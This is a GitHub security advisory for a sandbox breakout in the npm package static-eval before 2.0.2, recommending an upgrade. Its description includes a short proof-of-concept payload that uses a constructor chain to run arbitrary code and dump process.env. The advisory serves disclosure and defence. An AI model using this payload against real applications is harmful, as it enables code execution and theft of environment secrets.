GitHub Advisoryadvisory · npm

GHSA-x9hc-rw35-f44h Sandbox Breakout / Arbitrary Code Execution in static-eval

HIGH Published 2020-09-02 Modified 2021-09-27 Official page ↗
Ecosystem
npm
Packages
static-eval
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Weaknesses
CWE-94
Reviewed
2020-08-31

Affected packages

• npm static-eval: < 2.0.2 → fixed in 2.0.2

Description

Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package. Proof of concept ``` var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = process.argv[2]; var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()' var ast = parse(payload).body[0].expression; console.log(evaluate(ast, {x:1})); ``` Recommendation Upgrade to version 2.0.2 or later.

Related

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References